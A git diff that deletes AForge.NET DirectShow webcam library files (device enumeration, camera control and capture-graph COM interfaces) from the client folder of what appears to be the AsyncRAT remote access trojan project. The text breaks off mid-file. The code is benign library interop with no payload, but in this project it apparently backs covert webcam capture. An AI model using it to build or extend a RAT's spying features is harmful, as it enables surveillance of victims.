diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/CameraControlProperty.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/CameraControlProperty.cs deleted file mode 100644 index 8ab1f6c..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/CameraControlProperty.cs +++ /dev/null @@ -1,67 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © AForge.NET, 2009-2013 -// contacts@aforgenet.com -// - -namespace AForge.Video.DirectShow -{ - using System; - - /// - /// The enumeration specifies a setting on a camera. - /// - public enum CameraControlProperty - { - /// - /// Pan control. - /// - Pan = 0, - /// - /// Tilt control. - /// - Tilt, - /// - /// Roll control. - /// - Roll, - /// - /// Zoom control. - /// - Zoom, - /// - /// Exposure control. - /// - Exposure, - /// - /// Iris control. - /// - Iris, - /// - /// Focus control. - /// - Focus - } - - /// - /// The enumeration defines whether a camera setting is controlled manually or automatically. - /// - [Flags] - public enum CameraControlFlags - { - /// - /// No control flag. - /// - None = 0x0, - /// - /// Auto control Flag. - /// - Auto = 0x0001, - /// - /// Manual control Flag. - /// - Manual = 0x0002 - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/FilterInfo.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/FilterInfo.cs deleted file mode 100644 index c70e966..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/FilterInfo.cs +++ /dev/null @@ -1,193 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2008 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow -{ - using System; - using System.Runtime.InteropServices; - using System.Runtime.InteropServices.ComTypes; - using AForge.Video.DirectShow.Internals; - - /// - /// DirectShow filter information. - /// - /// - public class FilterInfo : IComparable - { - /// - /// Filter name. - /// - public string Name { get; private set; } - - /// - /// Filters's moniker string. - /// - /// - public string MonikerString { get; private set; } - - /// - /// Initializes a new instance of the class. - /// - /// - /// Filters's moniker string. - /// - public FilterInfo( string monikerString ) - { - MonikerString = monikerString; - Name = GetName( monikerString ); - } - - /// - /// Initializes a new instance of the class. - /// - /// - /// Filter's moniker object. - /// - internal FilterInfo( IMoniker moniker ) - { - MonikerString = GetMonikerString( moniker ); - Name = GetName( moniker ); - } - - /// - /// Compare the object with another instance of this class. - /// - /// - /// Object to compare with. - /// - /// A signed number indicating the relative values of this instance and value. - /// - public int CompareTo( object value ) - { - FilterInfo f = (FilterInfo) value; - - if ( f == null ) - return 1; - - return ( this.Name.CompareTo( f.Name ) ); - } - - /// - /// Create an instance of the filter. - /// - /// - /// Filter's moniker string. - /// - /// Returns filter's object, which implements IBaseFilter interface. - /// - /// The returned filter's object should be released using Marshal.ReleaseComObject(). - /// - public static object CreateFilter( string filterMoniker ) - { - // filter's object - object filterObject = null; - // bind context and moniker objects - IBindCtx bindCtx = null; - IMoniker moniker = null; - - int n = 0; - - // create bind context - if ( Win32.CreateBindCtx( 0, out bindCtx ) == 0 ) - { - // convert moniker`s string to a moniker - if ( Win32.MkParseDisplayName( bindCtx, filterMoniker, ref n, out moniker ) == 0 ) - { - // get device base filter - Guid filterId = typeof( IBaseFilter ).GUID; - moniker.BindToObject( null, null, ref filterId, out filterObject ); - - Marshal.ReleaseComObject( moniker ); - } - Marshal.ReleaseComObject( bindCtx ); - } - return filterObject; - } - - // - // Get moniker string of the moniker - // - private string GetMonikerString( IMoniker moniker ) - { - string str; - moniker.GetDisplayName( null, null, out str ); - return str; - } - - // - // Get filter name represented by the moniker - // - private string GetName( IMoniker moniker ) - { - Object bagObj = null; - IPropertyBag bag = null; - - try - { - Guid bagId = typeof( IPropertyBag ).GUID; - // get property bag of the moniker - moniker.BindToStorage( null, null, ref bagId, out bagObj ); - bag = (IPropertyBag) bagObj; - - // read FriendlyName - object val = ""; - int hr = bag.Read( "FriendlyName", ref val, IntPtr.Zero ); - if ( hr != 0 ) - Marshal.ThrowExceptionForHR( hr ); - - // get it as string - string ret = (string) val; - if ( ( ret == null ) || ( ret.Length < 1 ) ) - throw new ApplicationException( ); - - return ret; - } - catch ( Exception ) - { - return ""; - } - finally - { - // release all COM objects - bag = null; - if ( bagObj != null ) - { - Marshal.ReleaseComObject( bagObj ); - bagObj = null; - } - } - } - - // - // Get filter name represented by the moniker string - // - private string GetName( string monikerString ) - { - IBindCtx bindCtx = null; - IMoniker moniker = null; - String name = ""; - int n = 0; - - // create bind context - if ( Win32.CreateBindCtx( 0, out bindCtx ) == 0 ) - { - // convert moniker`s string to a moniker - if ( Win32.MkParseDisplayName( bindCtx, monikerString, ref n, out moniker ) == 0 ) - { - // get device name - name = GetName( moniker ); - - Marshal.ReleaseComObject( moniker ); - moniker = null; - } - Marshal.ReleaseComObject( bindCtx ); - bindCtx = null; - } - return name; - } - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/FilterInfoCollection.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/FilterInfoCollection.cs deleted file mode 100644 index dabd30d..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/FilterInfoCollection.cs +++ /dev/null @@ -1,138 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2008 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow -{ - using System; - using System.Collections; - using System.Runtime.InteropServices; - using System.Runtime.InteropServices.ComTypes; - using AForge.Video.DirectShow.Internals; - - /// - /// Collection of filters' information objects. - /// - /// - /// The class allows to enumerate DirectShow filters of specified category. For - /// a list of categories see . - /// - /// Sample usage: - /// - /// // enumerate video devices - /// videoDevices = new FilterInfoCollection( FilterCategory.VideoInputDevice ); - /// // list devices - /// foreach ( FilterInfo device in videoDevices ) - /// { - /// // ... - /// } - /// - /// - /// - public class FilterInfoCollection : CollectionBase - { - /// - /// Initializes a new instance of the class. - /// - /// - /// Guid of DirectShow filter category. See . - /// - /// Build collection of filters' information objects for the - /// specified filter category. - /// - public FilterInfoCollection( Guid category ) - { - CollectFilters( category ); - } - - /// - /// Get filter information object. - /// - /// - /// Index of filter information object to retrieve. - /// - /// Filter information object. - /// - public FilterInfo this[int index] - { - get - { - return ( (FilterInfo) InnerList[index] ); - } - } - - // Collect filters of specified category - private void CollectFilters( Guid category ) - { - object comObj = null; - ICreateDevEnum enumDev = null; - IEnumMoniker enumMon = null; - IMoniker[] devMon = new IMoniker[1]; - int hr; - - try - { - // Get the system device enumerator - Type srvType = Type.GetTypeFromCLSID( Clsid.SystemDeviceEnum ); - if ( srvType == null ) - throw new ApplicationException( "Failed creating device enumerator" ); - - // create device enumerator - comObj = Activator.CreateInstance( srvType ); - enumDev = (ICreateDevEnum) comObj; - - // Create an enumerator to find filters of specified category - hr = enumDev.CreateClassEnumerator( ref category, out enumMon, 0 ); - if ( hr != 0 ) - throw new ApplicationException( "No devices of the category" ); - - // Collect all filters - IntPtr n = IntPtr.Zero; - while ( true ) - { - // Get next filter - hr = enumMon.Next( 1, devMon, n ); - if ( ( hr != 0 ) || ( devMon[0] == null ) ) - break; - - // Add the filter - FilterInfo filter = new FilterInfo( devMon[0] ); - InnerList.Add( filter ); - - // Release COM object - Marshal.ReleaseComObject( devMon[0] ); - devMon[0] = null; - } - - // Sort the collection - InnerList.Sort( ); - } - catch - { - } - finally - { - // release all COM objects - enumDev = null; - if ( comObj != null ) - { - Marshal.ReleaseComObject( comObj ); - comObj = null; - } - if ( enumMon != null ) - { - Marshal.ReleaseComObject( enumMon ); - enumMon = null; - } - if ( devMon[0] != null ) - { - Marshal.ReleaseComObject( devMon[0] ); - devMon[0] = null; - } - } - } - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMCameraControl.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMCameraControl.cs deleted file mode 100644 index c207797..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMCameraControl.cs +++ /dev/null @@ -1,81 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © AForge.NET, 2009-2013 -// contacts@aforgenet.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// The IAMCameraControl interface controls camera settings such as zoom, pan, aperture adjustment, - /// or shutter speed. To obtain this interface, query the filter that controls the camera. - /// - [ComImport, - Guid( "C6E13370-30AC-11d0-A18C-00A0C9118956" ), - InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] - internal interface IAMCameraControl - { - /// - /// Gets the range and default value of a specified camera property. - /// - /// - /// Specifies the property to query. - /// Receives the minimum value of the property. - /// Receives the maximum value of the property. - /// Receives the step size for the property. - /// Receives the default value of the property. - /// Receives a member of the CameraControlFlags enumeration, indicating whether the property is controlled automatically or manually. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetRange( - [In] CameraControlProperty Property, - [Out] out int pMin, - [Out] out int pMax, - [Out] out int pSteppingDelta, - [Out] out int pDefault, - [Out] out CameraControlFlags pCapsFlags - ); - - /// - /// Sets a specified property on the camera. - /// - /// - /// Specifies the property to set. - /// Specifies the new value of the property. - /// Specifies the desired control setting, as a member of the CameraControlFlags enumeration. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Set( - [In] CameraControlProperty Property, - [In] int lValue, - [In] CameraControlFlags Flags - ); - - /// - /// Gets the current setting of a camera property. - /// - /// - /// Specifies the property to retrieve. - /// Receives the value of the property. - /// Receives a member of the CameraControlFlags enumeration. - /// The returned value indicates whether the setting is controlled manually or automatically. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Get( - [In] CameraControlProperty Property, - [Out] out int lValue, - [Out] out CameraControlFlags Flags - ); - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMCrossbar.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMCrossbar.cs deleted file mode 100644 index b67fc09..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMCrossbar.cs +++ /dev/null @@ -1,88 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © AForge.NET, 2009-2012 -// contacts@aforgenet.com -// - -using System; -using System.Runtime.InteropServices; - -namespace AForge.Video.DirectShow.Internals -{ - /// - /// The IAMCrossbar interface routes signals from an analog or digital source to a video capture filter. - /// - [ComImport, System.Security.SuppressUnmanagedCodeSecurity, - Guid( "C6E13380-30AC-11D0-A18C-00A0C9118956" ), - InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] - internal interface IAMCrossbar - { - /// - /// Retrieves the number of input and output pins on the crossbar filter. - /// - /// - /// Variable that receives the number of output pins. - /// Variable that receives the number of input pins. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int get_PinCounts( [Out] out int outputPinCount, [Out] out int inputPinCount ); - - /// - /// Queries whether a specified input pin can be routed to a specified output pin. - /// - /// - /// Specifies the index of the output pin. - /// Specifies the index of input pin. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int CanRoute( [In] int outputPinIndex, [In] int inputPinIndex ); - - /// - /// Routes an input pin to an output pin. - /// - /// - /// Specifies the index of the output pin. - /// Specifies the index of the input pin. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Route( [In] int outputPinIndex, [In] int inputPinIndex ); - - /// - /// Retrieves the input pin that is currently routed to the specified output pin. - /// - /// - /// Specifies the index of the output pin. - /// Variable that receives the index of the input pin, or -1 if no input pin is routed to this output pin. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int get_IsRoutedTo( [In] int outputPinIndex, [Out] out int inputPinIndex ); - - /// - /// Retrieves information about a specified pin. - /// - /// - /// Specifies the direction of the pin. Use one of the following values. - /// Specifies the index of the pin. - /// Variable that receives the index of the related pin, or –1 if no pin is related to this pin. - /// Variable that receives a member of the PhysicalConnectorType enumeration, indicating the pin's physical type. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int get_CrossbarPinInfo( - [In, MarshalAs( UnmanagedType.Bool )] bool isInputPin, - [In] int pinIndex, - [Out] out int pinIndexRelated, - [Out] out PhysicalConnectorType physicalType ); - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMStreamConfig.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMStreamConfig.cs deleted file mode 100644 index e72f06e..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMStreamConfig.cs +++ /dev/null @@ -1,74 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2008 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// This interface sets the output format on certain capture and compression filters, - /// for both audio and video. - /// - /// - [ComImport, - Guid( "C6E13340-30AC-11d0-A18C-00A0C9118956" ), - InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] - internal interface IAMStreamConfig - { - /// - /// Set the output format on the pin. - /// - /// - /// Media type to set. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SetFormat( [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); - - /// - /// Retrieves the audio or video stream's format. - /// - /// - /// Retrieved media type. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetFormat( [Out, MarshalAs( UnmanagedType.LPStruct )] out AMMediaType mediaType ); - - /// - /// Retrieve the number of format capabilities that this pin supports. - /// - /// - /// Variable that receives the number of format capabilities. - /// Variable that receives the size of the configuration structure in bytes. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetNumberOfCapabilities( out int count, out int size ); - - /// - /// Retrieve a set of format capabilities. - /// - /// - /// Specifies the format capability to retrieve, indexed from zero. - /// Retrieved media type. - /// Byte array, which receives information about capabilities. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetStreamCaps( - [In] int index, - [Out, MarshalAs( UnmanagedType.LPStruct )] out AMMediaType mediaType, - [In, MarshalAs( UnmanagedType.LPStruct )] VideoStreamConfigCaps streamConfigCaps - ); - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMVideoControl.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMVideoControl.cs deleted file mode 100644 index cb57dfe..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMVideoControl.cs +++ /dev/null @@ -1,112 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © AForge.NET, 2009-2011 -// contacts@aforgenet.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// The interface controls certain video capture operations such as enumerating available - /// frame rates and image orientation. - /// - /// - [ComImport, - Guid( "6A2E0670-28E4-11D0-A18c-00A0C9118956" ), - InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] - internal interface IAMVideoControl - { - /// - /// Retrieves the capabilities of the underlying hardware. - /// - /// - /// Pin to query capabilities from. - /// Get capabilities of the specified pin. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetCaps( [In] IPin pin, [Out, MarshalAs( UnmanagedType.I4 )] out VideoControlFlags flags ); - - /// - /// Sets the video control mode of operation. - /// - /// - /// The pin to set the video control mode on. - /// Value specifying a combination of the flags to set the video control mode. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SetMode( [In] IPin pin, [In, MarshalAs( UnmanagedType.I4 )] VideoControlFlags mode ); - - /// - /// Retrieves the video control mode of operation. - /// - /// - /// The pin to retrieve the video control mode from. - /// Gets combination of flags, which specify the video control mode. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetMode( [In] IPin pin, [Out, MarshalAs( UnmanagedType.I4 )] out VideoControlFlags mode ); - - /// - /// The method retrieves the actual frame rate, expressed as a frame duration in 100-nanosecond units. - /// USB (Universal Serial Bus) and IEEE 1394 cameras may provide lower frame rates than requested - /// because of bandwidth availability. This is only available during video streaming. - /// - /// - /// The pin to retrieve the frame rate from. - /// Gets frame rate in frame duration in 100-nanosecond units. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetCurrentActualFrameRate( [In] IPin pin, [Out, MarshalAs( UnmanagedType.I8 )] out long actualFrameRate ); - - /// - /// Retrieves the maximum frame rate currently available based on bus bandwidth usage for connections - /// such as USB and IEEE 1394 camera devices where the maximum frame rate can be limited by bandwidth - /// availability. - /// - /// - /// The pin to retrieve the maximum frame rate from. - /// Index of the format to query for maximum frame rate. This index corresponds - /// to the order in which formats are enumerated by . - /// Frame image size (width and height) in pixels. - /// Gets maximum available frame rate. The frame rate is expressed as frame duration in 100-nanosecond units. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetMaxAvailableFrameRate( [In] IPin pin, [In] int index, - [In] System.Drawing.Size dimensions, - [Out] out long maxAvailableFrameRate ); - - /// - /// Retrieves a list of available frame rates. - /// - /// - /// The pin to retrieve the maximum frame rate from. - /// Index of the format to query for maximum frame rate. This index corresponds - /// to the order in which formats are enumerated by . - /// Frame image size (width and height) in pixels. - /// Number of elements in the list of frame rates. - /// Array of frame rates in 100-nanosecond units. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetFrameRateList( [In] IPin pin, [In] int index, - [In] System.Drawing.Size dimensions, - [Out] out int listSize, - [Out] out IntPtr frameRate ); - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IBaseFilter.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IBaseFilter.cs deleted file mode 100644 index 3c03a31..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IBaseFilter.cs +++ /dev/null @@ -1,161 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2007 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// The IBaseFilter interface provides methods for controlling a filter. - /// All DirectShow filters expose this interface - /// - /// - [ComImport, - Guid( "56A86895-0AD4-11CE-B03A-0020AF0BA770" ), - InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] - internal interface IBaseFilter - { - // --- IPersist Methods - - /// - /// Returns the class identifier (CLSID) for the component object. - /// - /// - /// Points to the location of the CLSID on return. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetClassID( [Out] out Guid ClassID ); - - // --- IMediaFilter Methods - - /// - /// Stops the filter. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Stop( ); - - /// - /// Pauses the filter. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Pause( ); - - /// - /// Runs the filter. - /// - /// - /// Reference time corresponding to stream time 0. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Run( long start ); - - /// - /// Retrieves the state of the filter (running, stopped, or paused). - /// - /// - /// Time-out interval, in milliseconds. - /// Pointer to a variable that receives filter's state. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetState( int milliSecsTimeout, [Out] out int filterState ); - - /// - /// Sets the reference clock for the filter or the filter graph. - /// - /// - /// Pointer to the clock's IReferenceClock interface, or NULL. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SetSyncSource( [In] IntPtr clock ); - - /// - /// Retrieves the current reference clock. - /// - /// - /// Address of a variable that receives a pointer to the clock's IReferenceClock interface. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetSyncSource( [Out] out IntPtr clock ); - - // --- IBaseFilter Methods - - /// - /// Enumerates the pins on this filter. - /// - /// - /// Address of a variable that receives a pointer to the IEnumPins interface. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int EnumPins( [Out] out IEnumPins enumPins ); - - /// - /// Retrieves the pin with the specified identifier. - /// - /// - /// Pointer to a constant wide-character string that identifies the pin. - /// Address of a variable that receives a pointer to the pin's IPin interface. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int FindPin( [In, MarshalAs( UnmanagedType.LPWStr )] string id, [Out] out IPin pin ); - - /// - /// Retrieves information about the filter. - /// - /// - /// Pointer to FilterInfo structure. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int QueryFilterInfo( [Out] out FilterInfo filterInfo ); - - /// - /// Notifies the filter that it has joined or left the filter graph. - /// - /// - /// Pointer to the Filter Graph Manager's IFilterGraph interface, or NULL - /// if the filter is leaving the graph. - /// String that specifies a name for the filter. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int JoinFilterGraph( [In] IFilterGraph graph, [In, MarshalAs( UnmanagedType.LPWStr )] string name ); - - /// - /// Retrieves a string containing vendor information. - /// - /// - /// Receives a string containing the vendor information. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int QueryVendorInfo( [Out, MarshalAs( UnmanagedType.LPWStr )] out string vendorInfo ); - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ICaptureGraphBuilder2.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ICaptureGraphBuilder2.cs deleted file mode 100644 index 4ef802a..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ICaptureGraphBuilder2.cs +++ /dev/null @@ -1,192 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2008 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// This interface builds capture graphs and other custom filter graphs. - /// - /// - [ComImport, - Guid( "93E5A4E0-2D50-11d2-ABFA-00A0C9C6E38D" ), - InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] - internal interface ICaptureGraphBuilder2 - { - /// - /// Specify filter graph for the capture graph builder to use. - /// - /// - /// Filter graph's interface. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SetFiltergraph( [In] IGraphBuilder graphBuilder ); - - /// - /// Retrieve the filter graph that the builder is using. - /// - /// - /// Filter graph's interface. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetFiltergraph( [Out] out IGraphBuilder graphBuilder ); - - /// - /// Create file writing section of the filter graph. - /// - /// - /// GUID that represents either the media subtype of the output or the - /// class identifier (CLSID) of a multiplexer filter or file writer filter. - /// Output file name. - /// Receives the multiplexer's interface. - /// Receives the file writer's IFileSinkFilter interface. Can be NULL. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SetOutputFileName( - [In, MarshalAs( UnmanagedType.LPStruct )] Guid type, - [In, MarshalAs( UnmanagedType.LPWStr )] string fileName, - [Out] out IBaseFilter baseFilter, - [Out] out IntPtr fileSinkFilter - ); - - /// - /// Searche the graph for a specified interface, starting from a specified filter. - /// - /// - /// GUID that specifies the search criteria. - /// GUID that specifies the major media type of an output pin, or NULL. - /// interface of the filter. The method begins searching from this filter. - /// Interface identifier (IID) of the interface to locate. - /// Receives found interface. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int FindInterface( - [In, MarshalAs( UnmanagedType.LPStruct )] Guid category, - [In, MarshalAs( UnmanagedType.LPStruct )] Guid type, - [In] IBaseFilter baseFilter, - [In, MarshalAs( UnmanagedType.LPStruct )] Guid interfaceID , - [Out, MarshalAs( UnmanagedType.IUnknown )] out object retInterface - ); - - /// - /// Connect an output pin on a source filter to a rendering filter, optionally through a compression filter. - /// - /// - /// Pin category. - /// Major-type GUID that specifies the media type of the output pin. - /// Starting filter for the connection. - /// Interface of an intermediate filter, such as a compression filter. Can be NULL. - /// Sink filter, such as a renderer or mux filter. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int RenderStream( - [In, MarshalAs( UnmanagedType.LPStruct )] Guid category, - [In, MarshalAs( UnmanagedType.LPStruct )] Guid mediaType, - [In, MarshalAs( UnmanagedType.IUnknown )] object source, - [In] IBaseFilter compressor, - [In] IBaseFilter renderer - ); - - /// - /// Set the start and stop times for one or more streams of captured data. - /// - /// - /// Pin category. - /// Major-type GUID that specifies the media type. - /// interface that specifies which filter to control. - /// Start time. - /// Stop time. - /// Value that is sent as the second parameter of the - /// EC_STREAM_CONTROL_STARTED event notification. - /// Value that is sent as the second parameter of the - /// EC_STREAM_CONTROL_STOPPED event notification. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int ControlStream( - [In, MarshalAs( UnmanagedType.LPStruct )] Guid category, - [In, MarshalAs( UnmanagedType.LPStruct )] Guid mediaType, - [In, MarshalAs( UnmanagedType.Interface )] IBaseFilter filter, - [In] long start, - [In] long stop, - [In] short startCookie, - [In] short stopCookie - ); - - /// - /// Preallocate a capture file to a specified size. - /// - /// - /// File name to create or resize. - /// Size of the file to allocate, in bytes. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int AllocCapFile( - [In, MarshalAs( UnmanagedType.LPWStr )] string fileName, - [In] long size - ); - - /// - /// Copy the valid media data from a capture file. - /// - /// - /// Old file name. - /// New file name. - /// Boolean value that specifies whether pressing the ESC key cancels the copy operation. - /// IAMCopyCaptureFileProgress interface to display progress information, or NULL. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int CopyCaptureFile( - [In, MarshalAs( UnmanagedType.LPWStr )] string oldFileName, - [In, MarshalAs( UnmanagedType.LPWStr )] string newFileName, - [In, MarshalAs( UnmanagedType.Bool )] bool allowEscAbort, - [In] IntPtr callback - ); - - /// - /// - /// - /// - /// Interface on a filter, or to an interface on a pin. - /// Pin direction (input or output). - /// Pin category. - /// Media type. - /// Boolean value that specifies whether the pin must be unconnected. - /// Zero-based index of the pin to retrieve, from the set of matching pins. - /// Interface of the matching pin. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int FindPin( - [In, MarshalAs( UnmanagedType.IUnknown )] object source, - [In] PinDirection pinDirection, - [In, MarshalAs( UnmanagedType.LPStruct )] Guid category, - [In, MarshalAs( UnmanagedType.LPStruct )] Guid mediaType, - [In, MarshalAs( UnmanagedType.Bool )] bool unconnected, - [In] int index, - [Out, MarshalAs( UnmanagedType.Interface )] out IPin pin - ); - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ICreateDevEnum.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ICreateDevEnum.cs deleted file mode 100644 index 81e4b59..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ICreateDevEnum.cs +++ /dev/null @@ -1,37 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2007 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - using System.Runtime.InteropServices.ComTypes; - - /// - /// The ICreateDevEnum interface creates an enumerator for devices within a particular category, - /// such as video capture devices, audio capture devices, video compressors, and so forth. - /// - /// - [ComImport, - Guid( "29840822-5B84-11D0-BD3B-00A0C911CE86" ), - InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] - internal interface ICreateDevEnum - { - /// - /// Creates a class enumerator for a specified device category. - /// - /// - /// Specifies the class identifier of the device category. - /// Address of a variable that receives an IEnumMoniker interface pointer - /// Bitwise combination of zero or more flags. If zero, the method enumerates every filter in the category. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int CreateClassEnumerator( [In] ref Guid type, [Out] out IEnumMoniker enumMoniker, [In] int flags ); - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IEnumFilters.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IEnumFilters.cs deleted file mode 100644 index a4c8eb9..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IEnumFilters.cs +++ /dev/null @@ -1,71 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2007-2008 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// This interface is used by applications or other filters to determine - /// what filters exist in the filter graph. - /// - /// - [ComImport, - Guid( "56A86893-0AD4-11CE-B03A-0020AF0BA770" ), - InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] - internal interface IEnumFilters - { - /// - /// Retrieves the specified number of filters in the enumeration sequence. - /// - /// - /// Number of filters to retrieve. - /// Array in which to place interfaces. - /// Actual number of filters placed in the array. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Next( [In] int cFilters, - [Out, MarshalAs( UnmanagedType.LPArray, SizeParamIndex = 0 )] IBaseFilter[] filters, - [Out] out int filtersFetched ); - - /// - /// Skips a specified number of filters in the enumeration sequence. - /// - /// - /// Number of filters to skip. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Skip( [In] int cFilters ); - - /// - /// Resets the enumeration sequence to the beginning. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Reset( ); - - /// - /// Makes a copy of the enumerator with the same enumeration state. - /// - /// - /// Duplicate of the enumerator. - /// - /// - /// Return's HRESULT error code. - /// - /// - [PreserveSig] - int Clone( [Out] out IEnumFilters enumFilters ); - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IEnumPins.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IEnumPins.cs deleted file mode 100644 index 41e1f74..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IEnumPins.cs +++ /dev/null @@ -1,68 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew 